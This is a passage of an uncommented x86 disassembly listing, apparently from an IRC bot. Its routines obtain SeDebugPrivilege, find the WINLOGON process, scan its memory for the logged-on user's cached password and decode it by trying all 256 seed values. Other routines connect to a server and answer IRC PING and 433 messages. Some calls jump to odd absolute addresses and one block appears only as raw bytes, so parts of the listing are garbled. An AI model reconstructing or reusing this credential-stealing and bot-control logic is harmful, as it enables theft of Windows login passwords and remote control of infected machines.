		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_416C90
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416B56
		add	esp, 10h


loc_416C90:				; CODE XREF: sub_416C28+54j
		push	esi
		call	sub_41AFE0
		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_416C6D


loc_416CA1:				; CODE XREF: sub_416C28+43j
		push	edi
		call	sub_41B0B1
		pop	ecx
		pop	edi
		pop	esi


loc_416CAA:				; CODE XREF: sub_416C28+1Fj
		pop	ebx
		pop	ebp
		retn
sub_416C28	endp

; ---------------------------------------------------------------------------
byte_416CAD	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+689Fo
		dd 49CEC81h, 458B0000h,	57565308h, 0A7B9h, 8DF08B00h, 0FFFD64BDh
		dd 0C7A5F3FFh, 29880h, 100h, 0EC858D00h, 50FFFFFEh, 42FFE8h
		dd 80DB3300h, 0FEEB05BCh, 595CFFFFh, 858D1475h,	0FFFFFEECh
		dd 42E6E850h, 88590000h, 0FEEB059Ch, 858DFFFFh,	0FFFFFDE8h
		dd 78E46850h, 858D0043h, 0FFFFFB64h, 20068h, 61E85000h
		dd 8300004Ch, 5D3910C4h, 532075F8h, 0FB64858Dh,	75FFFFFFh
		dd 858D50F4h, 0FFFFFD68h, 64B5FF50h, 0E8FFFFFDh, 0FFFF2D2Eh
		dd 8D14C483h, 0FFFEEC85h, 8D5053FFh, 0FFFDE885h, 858D50FFh
		dd 0FFFFFD68h, 50F475FFh, 0FD64B5FFh, 5DE8FFFFh, 83000000h
		dd 8D5018C4h, 0FFFB6485h, 78C468FFh, 0E8500043h, 4B06h
		dd 390CC483h, 2075F85Dh, 64858D53h, 0FFFFFFFBh,	8D50F475h
		dd 0FFFD6885h, 0B5FF50FFh, 0FFFFFD64h, 0FF2CCDE8h, 14C483FFh
		dd 0FB64858Dh, 0E850FFFFh, 0FFFFE3F8h, 0E8F075FFh, 0FFFF4656h
		dd 90535959h, 2A923BE8h, 5B5E5F02h, 81EC8B55h, 54CECh
		dd 57565300h, 104BEh, 1875FF00h, 0FDB8858Dh, 2868FFFFh
		dd 56004379h, 4B92E850h, 3D8B0000h, 427000h, 8D10C483h
		dd 0FFFEBC85h, 858D50FFh, 0FFFFFDB8h, 83D7FF50h, 4589FFF8h
		dd 93BCBBFCh, 71740042h, 0FEBC85F6h, 7410FFFFh,	0E8BD8054h
		dd 2EFFFFFEh, 0BD801275h, 0FFFFFEE9h, 80427400h, 0FFFEE9BDh
		dd 39742EFFh, 0FEE8858Dh, 8D50FFFFh, 0FFFCB485h, 1875FFFFh
		dd 0E8505653h, 4B30h, 8D1C75FFh, 0FFFCB485h, 75FF50FFh
		dd 1075FF14h, 0FF0C75FFh, 5DE80875h, 83FFFFFFh,	45892CC4h
		dd 0BC858D1Ch, 50FFFFFEh, 90FC75FFh, 319495E8h,	75C08502h
		dd 0FC75FF8Fh, 9172E890h, 75FF0230h, 0B8858D14h, 0FFFFFFFDh
		dd 56531875h, 4ADEE850h, 0C4830000h, 0BC858D14h, 50FFFFFEh
		dd 0FDB8858Dh, 0FF50FFFFh, 83F08BD7h, 4F74FFFEh, 0FEE8858Dh
		dd 45FFFFFFh, 858D501Ch, 0FFFFFAB4h, 681875FFh,	43790Ch
		dd 20068h, 0A1E85000h, 6A00004Ah, 0B4858D01h, 0FFFFFFFAh
		dd 0FF501075h, 75FF0C75h, 2B7CE808h, 0C483FFFFh, 0BC858D28h
		dd 50FFFFFEh, 9410E856h, 85900231h, 56B175C0h, 90EEE890h
		dd 458B0230h, 5B5E5F1Ch
; ---------------------------------------------------------------------------
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416F1A	proc near		; DATA XREF: sub_401ACD+1CCFo

var_29C		= byte ptr -29Ch
var_9C		= dword	ptr -9Ch
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 29Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	25h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_9C]
		push	1
		rep movsd
		pop	esi
		mov	[eax+90h], esi
		call	sub_41A8F4
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	short loc_416F59
		cmp	eax, 2
		jz	short loc_416F59
		push	offset unk_437B00
		jmp	loc_417098
; ---------------------------------------------------------------------------


loc_416F59:				; CODE XREF: sub_416F1A+2Ej
					; sub_416F1A+33j
		push	esi
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419651
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_417093
		push	ebx
		push	offset aNtdll_dll ; "NTDLL.DLL"
		nop
		call	near ptr 2690000h
		mov	esi, dword_4270BC
		mov	edi, eax
		push	offset aNtquerysystemi ; "NtQuerySystemInformation"
		push	edi
		mov	[ebp+var_8], edi
		call	esi
		push	offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
		push	edi
		mov	dword_4D3DEC, eax
		call	esi
		push	offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
		push	edi
		mov	dword_4D3DE0, eax
		call	esi
		push	offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
		push	edi
		mov	dword_4D3FF0, eax
		call	esi
		push	offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
		push	edi
		mov	dword_4D3DE8, eax
		call	esi
		mov	dword_4D3DE4, eax
		call	sub_4170EC
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_417066
		mov	esi, dword_42713C
		mov	edi, 400h
		mov	ebx, offset dword_4D2DE0
		push	edi
		push	ebx
		push	offset off_437A3C
		call	esi
		push	edi
		mov	edi, offset dword_4D35E0
		push	edi
		push	offset off_437A24
		call	esi
		cmp	[ebp+var_4], 1
		push	offset dword_4D3FF8
		push	[ebp+arg_0]
		jnz	short loc_417012
		call	sub_417275
		jmp	short loc_417017
; ---------------------------------------------------------------------------


loc_417012:				; CODE XREF: sub_416F1A+EFj
		call	sub_41741C


loc_417017:				; CODE XREF: sub_416F1A+F6j
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41705F
		cmp	dword_4D3FF8, 0
		jnz	short loc_417046
		push	ebx
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_29C]
		push	offset unk_4379C8
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 18h
		jmp	short loc_417079
; ---------------------------------------------------------------------------


loc_417046:				; CODE XREF: sub_416F1A+10Aj
		cmp	[ebp+var_4], 1
		push	[ebp+arg_0]
		jnz	short loc_417056
		call	sub_417552
		jmp	short loc_41705B
; ---------------------------------------------------------------------------


loc_417056:				; CODE XREF: sub_416F1A+133j
		call	sub_4175E9


loc_41705B:				; CODE XREF: sub_416F1A+13Aj
		pop	ecx
		push	eax
		jmp	short loc_41706B
; ---------------------------------------------------------------------------


loc_41705F:				; CODE XREF: sub_416F1A+101j
		push	offset unk_437990
		jmp	short loc_41706B
; ---------------------------------------------------------------------------


loc_417066:				; CODE XREF: sub_416F1A+B6j
		push	offset unk_437964


loc_41706B:				; CODE XREF: sub_416F1A+143j
					; sub_416F1A+14Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_417079:				; CODE XREF: sub_416F1A+12Aj
		push	0
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419651
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		call	near ptr 27604B1h
		nop
		pop	ebx
		jmp	short loc_4170A6
; ---------------------------------------------------------------------------


loc_417093:				; CODE XREF: sub_416F1A+4Ej
		push	offset unk_437930


loc_417098:				; CODE XREF: sub_416F1A+3Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_4170A6:				; CODE XREF: sub_416F1A+177j
		xor	esi, esi
		cmp	[ebp+var_10], esi
		jnz	short loc_4170CD
		push	esi
		lea	eax, [ebp+var_29C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_98]
		push	eax
		push	[ebp+var_9C]
		call	sub_409A72
		add	esp, 14h


loc_4170CD:				; CODE XREF: sub_416F1A+191j
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_4151AC
		push	[ebp+var_18]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26C0000h
		pop	edi
		pop	esi
sub_416F1A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4170EC	proc near		; CODE XREF: sub_416F1A+ACp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 18h
		and	[esp+18h+var_4], 0
		and	[esp+18h+var_14], 0
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_427148
		mov	ebx, 100h
		push	edi
		push	ebx
		push	8
		call	esi
		mov	edi, dword_427144
		push	eax
		call	edi
		mov	ebp, eax
		lea	eax, [esp+28h+var_14]
		push	eax
		push	ebx
		push	ebp
		push	10h
		call	dword_4D3DEC
		push	ebp
		push	0
		call	esi
		push	eax
		call	near ptr 2770000h
		nop
		push	[esp+28h+var_14]
		push	8
		call	esi
		push	eax
		call	edi
		mov	ebp, eax
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+var_C], eax
		push	ecx
		push	eax
		push	ebp
		push	10h
		call	dword_4D3DEC
		test	eax, eax
		jnz	short loc_4171D9
		mov	eax, [esp+28h+var_C]
		shr	eax, 4
		mov	[esp+28h+var_10], eax
		jz	short loc_4171D9
		push	1
		mov	ebx, ebp
		pop	ecx
		cmp	eax, ecx
		mov	[esp+28h+var_18], ecx
		jb	short loc_4171D9


loc_417175:				; CODE XREF: sub_4170EC+EBj
		cmp	word ptr [ebx+8], 5
		jnz	short loc_4171CC
		push	0
		push	0
		call	dword_4D3DE0
		mov	edi, eax
		push	edi
		push	1
		push	dword ptr [ebx+4]
		call	dword_4D3FF0
		test	eax, eax
		jnz	short loc_4171BD
		mov	eax, [edi+60h]
		push	offset aWinlogon ; "WINLOGON"
		mov	[esp+2Ch+var_8], eax
		lea	eax, [edi+80h]
		push	eax
		call	sub_41D5AA
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4171F1


loc_4171BD:				; CODE XREF: sub_4170EC+AAj
		test	edi, edi
		jz	short loc_4171C8
		push	edi
		call	dword_4D3DE8


loc_4171C8:				; CODE XREF: sub_4170EC+D3j
		mov	eax, [esp+28h+var_10]


loc_4171CC:				; CODE XREF: sub_4170EC+8Ej
		add	ebx, 10h
		inc	[esp+28h+var_18]
		cmp	[esp+28h+var_18], eax
		jbe	short loc_417175


loc_4171D9:				; CODE XREF: sub_4170EC+6Dj
					; sub_4170EC+7Aj ...
		xor	edi, edi


loc_4171DB:				; CODE XREF: sub_4170EC+17Dj
		push	ebp
		push	0
		call	esi
		push	eax
		call	near ptr 2770000h
		nop
		mov	eax, edi


loc_4171E9:				; CODE XREF: sub_4170EC+184j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 18h
		retn
; ---------------------------------------------------------------------------


loc_4171F1:				; CODE XREF: sub_4170EC+CFj
		and	[esp+28h+var_10], 0
		cmp	[esp+28h+var_8], 0
		jbe	short loc_41725A
		lea	eax, [edi+80h]
		mov	[esp+28h+var_18], eax


loc_417207:				; CODE XREF: sub_4170EC+16Cj
		add	[esp+28h+var_18], 11Ch
		push	offset aNwgina	; "NWGINA"
		push	[esp+2Ch+var_18]
		call	sub_41D5AA
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41726E
		push	offset aMsgina	; "MSGINA"
		push	[esp+2Ch+var_18]
		call	sub_41D5AA
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41724C
		mov	eax, [ebx+4]
		mov	[esp+28h+var_4], eax


loc_41724C:				; CODE XREF: sub_4170EC+157j
		inc	[esp+28h+var_10]
		mov	eax, [esp+28h+var_10]
		cmp	eax, [esp+28h+var_8]
		jb	short loc_417207


loc_41725A:				; CODE XREF: sub_4170EC+10Fj
		test	edi, edi
		jz	short loc_417265
		push	edi
		call	dword_4D3DE8


loc_417265:				; CODE XREF: sub_4170EC+170j
		mov	edi, [esp+28h+var_4]
		jmp	loc_4171DB
; ---------------------------------------------------------------------------


loc_41726E:				; CODE XREF: sub_4170EC+13Cj
		xor	eax, eax
		jmp	loc_4171E9
sub_4170EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417275	proc near		; CODE XREF: sub_416F1A+F1p

var_64		= byte ptr -64h
var_60		= dword	ptr -60h
var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2B		= byte ptr -2Bh
var_24		= byte ptr -24h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		push	esi
		xor	esi, esi
		push	[ebp+arg_0]
		mov	[ebp+var_10], esi
		push	esi
		push	410h
		call	near ptr 266079Ah
		nop
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jnz	short loc_41729E
		xor	eax, eax
		jmp	loc_417419
; ---------------------------------------------------------------------------


loc_41729E:				; CODE XREF: sub_417275+20j
		mov	eax, [ebp+arg_4]
		push	ebx
		push	edi
		mov	[eax], esi
		lea	eax, [ebp+var_64]
		push	eax
		nop
		call	near ptr 2790283h
		push	[ebp+var_60]
		mov	[ebp+var_8], esi
		mov	esi, dword_427148
		push	8
		call	esi
		mov	edi, dword_427144
		push	eax
		call	edi
		lea	ecx, [ebp+var_8]
		mov	ebx, dword_427150
		push	ecx
		mov	[ebp+arg_0], eax
		push	[ebp+var_60]
		push	eax
		push	7FFDF000h
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jnz	short loc_4172EE
		xor	esi, esi
		jmp	loc_41740C
; ---------------------------------------------------------------------------


loc_4172EE:				; CODE XREF: sub_417275+70j
		lea	eax, [ebp+var_40]
		push	1Ch
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	near ptr 2780BD5h
		nop
		test	eax, eax
		jz	loc_4173FB
		mov	ecx, [ebp+var_30]
		mov	eax, 1000h
		and	ecx, eax
		cmp	ecx, eax
		jnz	loc_4173FB
		test	[ebp+var_2B], 1
		jnz	loc_4173FB
		push	[ebp+var_34]
		push	8
		call	esi
		push	eax
		call	edi
		mov	edi, eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	[ebp+var_34]
		mov	[ebp+var_C], edi
		push	edi
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jz	loc_4173FB


loc_417351:				; CODE XREF: sub_417275+112j
		push	edi
		push	offset dword_4D2DE0
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417379
		lea	eax, [edi+200h]
		push	eax
		push	offset dword_4D35E0
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417389


loc_417379:				; CODE XREF: sub_417275+EBj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		inc	edi
		add	eax, ecx
		inc	edi
		cmp	edi, eax
		jnb	short loc_4173FB
		jmp	short loc_417351
; ---------------------------------------------------------------------------


loc_417389:				; CODE XREF: sub_417275+102j
		test	edi, edi
		jz	short loc_4173FB
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [edi+410h]
		push	eax
		nop
		call	near ptr 2730000h
		test	eax, eax
		jz	short loc_4173C4
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	near ptr 2720950h
		nop
		test	eax, eax
		jz	short loc_4173C4
		mov	al, [edi+42Ch]
		mov	ecx, [ebp+arg_4]
		shr	eax, 1
		and	eax, 7Fh
		mov	[ecx], eax


loc_4173C4:				; CODE XREF: sub_417275+12Bj
					; sub_417275+13Dj
		movzx	eax, word ptr [edi+42Ch]
		shr	eax, 8
		mov	dword_4D4004, eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], 1
		mov	eax, [eax+18h]
		sub	eax, [ebp+var_C]
		lea	eax, [eax+edi+434h]
		add	edi, 434h
		mov	dword_4D3FFC, eax
		mov	dword_4D4000, edi


loc_4173FB:				; CODE XREF: sub_417275+90j
					; sub_417275+A2j ...
		push	[ebp+arg_0]
		push	0
		call	esi
		push	eax
		call	near ptr 2770000h
		nop
		mov	esi, [ebp+var_10]


loc_41740C:				; CODE XREF: sub_417275+74j
		push	[ebp+var_4]
		nop
		call	near ptr 2640871h
		pop	edi
		mov	eax, esi
		pop	ebx


loc_417419:				; CODE XREF: sub_417275+24j
		pop	esi
		leave
		retn
sub_417275	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41741C	proc near		; CODE XREF: sub_416F1A:loc_417012p

var_4C		= byte ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_13		= byte ptr -13h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		push	0
		push	410h
		nop
		call	near ptr 266079Ah
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_41750E
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_4C]
		push	eax
		call	near ptr 2790283h
		nop
		mov	ebx, [ebp+var_44]
		mov	eax, [ebp+var_40]
		cmp	ebx, eax
		mov	[ebp+var_C], eax
		jnb	loc_417505
		mov	edi, dword_427148


loc_417467:				; CODE XREF: sub_41741C+E3j
		lea	eax, [ebp+var_28]
		push	1Ch
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	near ptr 2780BD5h
		nop
		test	eax, eax
		jz	short loc_4174F3
		mov	edx, [ebp+var_18]
		mov	ecx, [ebp+var_1C]
		mov	eax, 1000h
		mov	[ebp+var_4], ecx
		and	edx, eax
		cmp	edx, eax
		jnz	short loc_4174F9
		test	[ebp+var_13], 1
		jnz	short loc_4174F9
		push	ecx
		push	8
		call	edi
		push	eax
		call	near ptr 2780000h
		nop
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		and	[ebp+var_8], 0
		push	[ebp+var_1C]
		push	esi
		push	ebx
		push	[ebp+arg_0]
		nop
		call	near ptr 2790000h
		test	eax, eax
		jz	short loc_4174E5
		push	offset dword_4D2DE0
		push	esi
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4174E5
		lea	eax, [esi+400h]
		push	offset dword_4D35E0
		push	eax
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417515


loc_4174E5:				; CODE XREF: sub_41741C+9Fj
					; sub_41741C+B0j
		push	esi
		push	0
		call	edi
		push	eax
		nop
		call	near ptr 2770000h
		jmp	short loc_4174F9
; ---------------------------------------------------------------------------


loc_4174F3:				; CODE XREF: sub_41741C+5Dj
		mov	eax, [ebp+var_48]
		mov	[ebp+var_4], eax


loc_4174F9:				; CODE XREF: sub_41741C+71j
					; sub_41741C+77j ...
		add	ebx, [ebp+var_4]
		cmp	ebx, [ebp+var_C]
		jb	loc_417467


loc_417505:				; CODE XREF: sub_41741C+3Fj
		push	[ebp+arg_0]
		nop
		call	near ptr 2640871h


loc_41750E:				; CODE XREF: sub_41741C+1Ej
		xor	eax, eax


loc_417510:				; CODE XREF: sub_41741C+134j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_417515:				; CODE XREF: sub_41741C+C7j
		add	ebx, 800h
		lea	eax, [esi+800h]
		xor	ecx, ecx
		mov	dword_4D3FFC, ebx
		mov	dword_4D4000, eax
		cmp	[eax], cl
		jnz	short loc_417537
		cmp	[eax+1], cl
		jz	short loc_41753F


loc_417537:				; CODE XREF: sub_41741C+114j
					; sub_41741C+121j
		inc	ecx
		inc	eax
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_417537


loc_41753F:				; CODE XREF: sub_41741C+119j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_0]
		mov	[eax], ecx
		nop
		call	near ptr 2640871h
		push	1
		pop	eax
		jmp	short loc_417510
sub_41741C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417552	proc near		; CODE XREF: sub_416F1A+135p

var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4D3FF8
		push	esi
		mov	esi, dword_427148
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_6], ax
		mov	[ebp+var_8], cx
		movzx	eax, ax
		push	eax
		push	8
		call	esi
		push	eax
		call	near ptr 2780000h
		nop
		mov	ecx, dword_4D3FF8
		mov	[ebp+var_4], eax
		add	ecx, ecx
		push	ecx
		push	dword_4D4000
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		mov	al, byte ptr dword_4D4004
		push	eax
		call	dword_4D3DE4
		push	[ebp+var_4]
		mov	edi, offset dword_4D3DF0
		push	offset dword_4D2DE0
		push	offset dword_4D35E0
		push	[ebp+arg_0]
		push	offset dword_437B4C
		push	200h
		push	edi
		call	sub_41B980
		add	esp, 1Ch
		push	[ebp+var_4]
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 2770000h
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_417552	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4175E9	proc near		; CODE XREF: sub_416F1A:loc_417056p

var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, dword_4D3FF8
		push	ebx
		push	esi
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_16], ax
		mov	[ebp+var_18], cx
		movzx	eax, ax
		push	eax
		push	8
		call	near ptr 2780B5Bh
		nop
		push	eax
		nop
		call	near ptr 2780000h
		and	[ebp+var_C], 0
		mov	[ebp+var_14], eax
		mov	ebx, offset dword_4D35E0
		mov	edi, 200h
		mov	esi, offset dword_4D2BE0


loc_41762F:				; CODE XREF: sub_4175E9+FAj
		mov	eax, dword_4D3FF8
		add	eax, eax
		push	eax
		push	dword_4D4000
		push	[ebp+var_14]
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_C]
		call	dword_4D3DE4
		mov	eax, dword_4D3FF8
		and	[ebp+var_10], 0
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_8], 1
		test	eax, eax
		jbe	short loc_4176A4


loc_41766C:				; CODE XREF: sub_4175E9+B3j
		cmp	[ebp+var_8], 0
		jz	short loc_4176C1
		mov	dl, [ecx]
		test	dl, dl
		mov	[ebp+var_1], dl
		jz	short loc_417690
		cmp	byte ptr [ecx+1], 0
		jnz	short loc_417690
		cmp	dl, 20h
		jnb	short loc_41768A
		and	[ebp+var_8], 0


loc_41768A:				; CODE XREF: sub_4175E9+9Bj
		cmp	[ebp+var_1], 7Eh
		jbe	short loc_417694


loc_417690:				; CODE XREF: sub_4175E9+90j
					; sub_4175E9+96j
		and	[ebp+var_8], 0


loc_417694:				; CODE XREF: sub_4175E9+A5j
		inc	ecx
		inc	ecx
		inc	[ebp+var_10]
		cmp	[ebp+var_10], eax
		jb	short loc_41766C
		cmp	[ebp+var_8], 0
		jz	short loc_4176C1


loc_4176A4:				; CODE XREF: sub_4175E9+81j
		push	[ebp+var_14]
		push	offset dword_4D2DE0
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_437B4C
		push	edi
		push	esi
		call	sub_41B980
		add	esp, 1Ch
		jmp	short loc_4176D9
; ---------------------------------------------------------------------------


loc_4176C1:				; CODE XREF: sub_4175E9+87j
					; sub_4175E9+B9j
		push	offset dword_4D2DE0
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_437B9C
		push	edi
		push	esi
		call	sub_41B980
		add	esp, 18h


loc_4176D9:				; CODE XREF: sub_4175E9+D6j
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 0FFh
		jbe	loc_41762F
		push	[ebp+var_14]
		push	0
		nop
		call	near ptr 2780B5Bh
		push	eax
		nop
		call	near ptr 2770000h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4175E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417702	proc near		; CODE XREF: sub_4178BA+2Fp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4CAFF4
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_41777E
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4CAF74
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CAFB4
		cmp	eax, esi
		jnz	short loc_417763
		push	[ebp+arg_0]
		call	dword_4CAFF8
		test	eax, eax
		jz	short loc_41777E
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_417763:				; CODE XREF: sub_417702+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CAF1C
		cmp	eax, esi
		jnz	short loc_417782
		push	edi
		call	dword_4CB00C


loc_41777E:				; CODE XREF: sub_417702+1Bj
					; sub_417702+58j
		mov	eax, esi
		jmp	short loc_417784
; ---------------------------------------------------------------------------


loc_417782:				; CODE XREF: sub_417702+73j
		mov	eax, edi


loc_417784:				; CODE XREF: sub_417702+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_417702	endp


; =============== S U B	R O U T	I N E =======================================



sub_417788	proc near		; CODE XREF: sub_401ACD+3294p
					; sub_401ACD+3300p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		push	offset asc_429998 ; "\n"
		push	edi
		call	sub_41BEC0
		pop	ecx
		mov	esi, offset dword_4D400C
		pop	ecx


loc_4177A0:				; CODE XREF: sub_417788+42j
		cmp	dword ptr [esi-4], 1
		jnz	short loc_4177BE
		cmp	dword ptr [esi], 0
		jbe	short loc_4177BE
		push	0
		push	edi
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	edi
		push	dword ptr [esi]
		call	dword_4CAFC4


loc_4177BE:				; CODE XREF: sub_417788+1Cj
					; sub_417788+21j
		add	esi, 210h
		cmp	esi, offset dword_4DA72C
		jl	short loc_4177A0
		pop	edi
		pop	esi
		retn
sub_417788	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4177CF	proc near		; CODE XREF: sub_4178BA+155p

var_420		= byte ptr -420h
var_220		= byte ptr -220h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		push	ebx
		push	esi
		mov	esi, offset asc_42CA2C ; " "
		push	edi
		push	esi
		push	[ebp+arg_0]
		call	sub_41C0F4
		pop	ecx
		mov	[ebp+var_20], eax
		pop	ecx
		lea	edi, [ebp+var_1C]
		push	7
		pop	ebx


loc_4177F4:				; CODE XREF: sub_4177CF+35j
		push	esi
		push	0
		call	sub_41C0F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	ebx
		pop	ecx
		jnz	short loc_4177F4
		mov	esi, [ebp+var_1C]
		xor	edi, edi
		cmp	[ebp+var_20], edi
		jnz	short loc_41781C
		cmp	esi, edi
		jnz	short loc_41781C
		push	1
		pop	eax
		jmp	loc_4178B5
; ---------------------------------------------------------------------------


loc_41781C:				; CODE XREF: sub_4177CF+3Fj
					; sub_4177CF+43j
		push	[ebp+var_20]
		push	offset aPing	; "PING"
		call	sub_41C070
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jnz	short loc_417837
		push	offset dword_4387B4
		jmp	short loc_417885
; ---------------------------------------------------------------------------


loc_417837:				; CODE XREF: sub_4177CF+5Fj
		push	offset a433	; "433"
